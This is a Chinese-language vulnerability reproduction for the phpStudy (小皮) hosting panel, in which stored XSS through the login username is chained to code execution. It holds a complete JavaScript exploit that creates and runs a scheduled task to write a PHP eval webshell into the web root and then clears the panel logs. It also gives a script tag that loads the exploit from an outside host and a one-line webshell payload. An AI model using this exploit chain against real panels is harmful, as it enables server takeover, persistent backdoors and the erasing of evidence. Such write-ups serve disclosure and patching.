phpstudy_小皮面板XSS到RCE
一、简介
phpStudy小皮面板用户登录日志存在存储型XSS漏洞,利用存储型XSS攻击者可以通过JS调用面板中的计划任务执行系统命令。
二、影响版本
- 小皮windows面板V0.102以及以下版本
- 小皮linux面板X1.29以及以下版本
- 截止2023.3.8日,我测试发现官网对漏洞进行了修复,但未发布修复说明,也未更新版本号
三、漏洞复现
安装完成后来到登录页面,复制好相关后台连接和用户名密码后进行正常登录。
漏洞验证:
在用户登录页面用户名处插入xss语句,进行登录,产生登录日志。
注意:验证码需要写对
提示用户名或者密码错误,此时产生了登录日志,写入了XSS语句。日志会记录登录失败的用户名,并在登录后将尝试的用户名直接显示在小皮首页当中,而这个过程是没有过滤的,也就可以进行任意xss。
使用正确的账户密码登录,触发弹窗
XSS到RCE
利用XSS配合小皮自带的计划任务,实现后台添加计划任务实现写webshell、反弹shell等操作,这些交给js就可以实现自动化完成。
exp.js
function exp() {
$.ajax({
url: '/service/app/tasks.php?type=task_list', //获取计划任务列表
type: 'GET',
headers:{
"X-Requested-With": "XMLHttpRequest"
},
dataType: 'json',
success: function (data) {
var id = data.data[0].ID; //任务名称
$.ajax({
url: '/service/app/tasks.php?type=exec_task', //执行计划任务
type: 'POST',
headers:{
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
data: { tid: id },
dataType: 'json',
success: function (res) {
$.ajax({
url: '/service/app/log.php?type=clearlog',
type: 'POST',
data: { type: 'clearlog' },
dataType: 'json',
success: function (res2) {}
});
}
});
}
});
}
function save() {
var data = new Object();
data.task_id = '';
data.title = 'shell_title';
data.exec_cycle = '5';
data.week = '1';
data.day = '3';
data.hour = '1';
data.minute = '1';
data.shell = 'echo "PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==" | base64 -d > C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/shell.php'; //要执行的命令
$.ajax({
url: '/service/app/tasks.php?type=save_shell',
type: 'POST',
headers:{
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
},
data: data,
dataType: 'json',
success: function (res) {
exp();
}
});
}
save();
这里把shell写入到小皮网站目录中
默认是安装在D盘,我这里改成了C盘
C:\xp.cn\www\wwwroot\admin\localhost_80\wwwroot
构造payload
<script src="http://192.168.83.130:8080/exp.js"></script>
成功创建计划命令
成功写入
我测试时,不能使用base64编码一句话,不然写不进去
'echo "<?php @eval($_POST[123]);?>" >D:/phpstudyweb/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/webshell.php';
参考:https://www.freebuf.com/vuls/356878.html